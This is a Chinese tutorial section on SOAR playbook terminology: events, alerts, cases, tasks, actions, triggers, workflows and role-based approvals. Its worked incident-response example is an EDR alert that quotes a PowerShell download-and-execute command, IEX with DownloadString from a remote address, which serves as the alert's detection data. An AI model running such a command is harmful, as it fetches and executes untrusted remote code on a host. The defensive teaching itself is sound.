2. Playbook 核心概念与术语体系
在 SOAR 平台中,术语混乱是 Playbook 开发失败最常见的原因之一。很多人把“告警”和“事件”混用,把“剧本”和“工作流”当成同义词,结果在写 Playbook 时不知道该监听什么、该操作什么、该由谁审批。本节的目标不是背定义,而是建立一套能直接指导开发的术语坐标系:每个术语对应一个明确的对象、一个生命周期阶段,以及一个在 Playbook 中可被引用的字段或接口。
一、从“发生了什么”到“怎么处理”:三层对象模型
SOAR 的数据对象可以分成三层:事件(Event)、告警(Alert)、案例(Case)。它们不是同义词,而是同一安全事实在不同处理阶段的形态。
事件是最原始的观测记录,来自日志、流量、终端、云平台等数据源。它本身没有“是否危险”的判断,例如一条防火墙放行日志、一次登录成功记录。事件数量巨大,通常不直接进入 Playbook 的人工处理环节。
告警是经过检测规则、关联分析或威胁情报匹配后,被判定为“值得关注”的事件或事件集合。告警带有严重级别、检测规则 ID、实体信息(IP、主机名、账号、哈希等)。Playbook 的常见入口就是告警。例如,EDR 产生一条告警:alert_id=EDR-2024-0917-001,severity=high,host=WIN-DC-01,process=powershell.exe,command="IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/a.ps1')"。
案例是告警经过确认、需要持续跟踪和协同处置后形成的调查单元。一个案例可以关联多条告警、多个事件、多个任务和多个处置动作。案例有负责人、状态(新建、调查中、已遏制、已恢复、已关闭)、优先级和时间线。案例是 Playbook 中“人机协同”的载体:自动化负责收集和初步处置,人负责判断和决策。
二、任务、动作与触发器:Playbook 的执行单元
任务(Task)是 Playbook 中一个可独立执行、可被追踪的工作单元。任务可以是自动化的,也可以是人工的。例如“查询威胁情报”“隔离主机”“通知负责人确认”“提取进程树”。任务有输入、输出、状态(待执行、执行中、成功、失败、跳过)和负责人。
动作(Action)是任务内部真正调用外部系统的最小操作。一个任务可能包含一个或多个动作。例如“隔离主机”这个任务,可能包含“调用 EDR API 隔离”“写入工单系统备注”“发送通知”三个动作。动作是 Playbook 与外部工具(EDR、防火墙、SIEM、工单、邮件、IM)之间的接口层。
触发器(Trigger)是 Playbook 启动的条件。常见触发器类型包括:告警创建、告警更新、案例创建、案例状态变更、定时调度、手动触发、Webhook 调用。触发器决定了 Playbook 的“入口参数”是什么。例如,告警触发器会传入 alert_id、severity、entities;定时触发器会传入 schedule_time;手动触发器会传入 operator 和 case_id。
三、工作流与剧本:编排逻辑与知识资产
工作流(Workflow)是任务与动作之间的编排逻辑,描述“先做什么、再做什么、什么条件下分支、失败后怎么走”。工作流关注的是控制流:顺序、并行、条件判断、循环、等待、超时、异常处理。它回答的是“怎么执行”。
剧本(Playbook)是面向某一类安全场景的完整处置知识资产。它不仅包含工作流,还包含:适用场景说明、前置条件、所需权限、输入参数、输出结果、人工决策点、升级路径、复盘指标。剧本回答的是“这类事该怎么处理,为什么这么处理”。
可以这样理解:工作流是剧本的“骨架”,任务是“关节”,动作是“肌肉”,触发器是“神经入口”,案例是“手术台”,角色与权限是“谁可以动刀”。
四、角色与权限:谁可以触发、执行和审批
Playbook 不是“全自动黑盒”。在真实运营中,必须明确谁可以创建剧本、谁可以修改工作流、谁可以执行高危动作、谁可以审批例外。常见角色划分如下:
- 安全分析师(Analyst):可以查看告警和案例、执行低风险任务(查询情报、提取日志)、提交处置建议,但不能直接隔离核心服务器。
- 高级分析师 / 响应负责人(Responder):可以执行中高风险动作(隔离主机、禁用账号、封禁 IP),可以修改案例状态和升级路径。
- 审批人(Approver):对高危动作进行人工审批。例如“隔离域控服务器”必须由审批人确认后才能执行。
- Playbook 管理员(Admin):创建、修改、发布、停用剧本和工作流,管理集成凭据和权限映射。
权限模型通常采用 RBAC(基于角色的访问控制),并叠加 ABAC(基于属性的访问控制)做细粒度约束。例如,同样是“隔离主机”动作,分析师角色只能对 asset_criticality=low 的主机执行;对 asset_criticality=high 的主机,必须由审批人审批。在 Playbook 中,权限检查点通常放在任务执行前,作为条件分支或审批任务。
五、术语在 Playbook 中的实际映射
下面用一个“可疑 PowerShell 下载执行”场景,把术语落到具体字段和操作上。假设 EDR 产生告警:
alert_id: EDR-2024-0917-001
severity: high
host: WIN-DC-01
user: admin_zhang
process: powershell.exe
command: IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.45/a.ps1')
file_hash: 9f2a...c1d3
Playbook 的触发器是“告警创建且 severity=high”。工作流的第一步是“提取实体”任务,动作是调用 EDR API 获取进程树和网络连接。第二步是“威胁情报查询”任务,动作是调用 TI 平台查询 IP 和哈希。第三步是条件分支:如果 TI 命中恶意,则创建案例并执行“隔离主机”任务;如果 TI 未命中,则执行“人工确认”任务。第四步是“通知与记录”任务,动作是发送 IM 消息并写入工单。
在这个例子中:事件是原始 PowerShell 执行日志;告警是 EDR 检测后的信号;案例是确认恶意后创建的调查单元;任务是“提取实体”“查询情报”“隔离主机”“人工确认”“通知记录”;动作是每个任务内部调用的 API;触发器是告警创建;工作流是上述顺序和分支;剧本是“可疑 PowerShell 下载执行处置”这一整套知识;角色与权限决定了谁能执行隔离、谁需要审批。
六、术语辨析速查表
| 术语 | 核心问题 | 典型字段/状态 | 在 Playbook 中的角色 |
|---|---|---|---|
| 事件 Event | 发生了什么原始观测? | 时间戳、来源、原始日志 | 数据来源,通常不直接触发 |
| 告警 Alert | 什么值得关注? | alert_id、severity、entities | 常见触发器入口 |
| 案例 Case | 立案后怎么跟踪? | case_id、status、owner、priority | 闭环载体,关联任务和动作 |
| 任务 Task | 这一步做什么? | task_id、status、assignee | 工作流节点,可自动或人工 |
| 动作 Action | 调用哪个系统? | action_name、params、result | 任务内部的最小执行单元 |
| 触发器 Trigger | 什么时候启动? | trigger_type、conditions | Playbook 入口条件 |
| 工作流 Workflow | 怎么编排执行? | 节点、连线、分支、超时 | 控制流骨架 |
| 剧本 Playbook | 这类事怎么处理? | 场景、前置条件、SOP、指标 | 完整知识资产 |
| 角色与权限 | 谁可以做什么? | role、permission、approval | 约束触发、执行和审批 |
掌握这套术语体系后,再去看 SOAR 平台的界面和 API,就不会被“alert”“case”“task”“action”这些词绕晕。写 Playbook 时,先问自己:入口是告警还是案例?需要哪些任务?每个任务调用什么动作?哪些动作需要审批?失败后走哪条分支?把这些回答清楚,剧本的骨架就立起来了。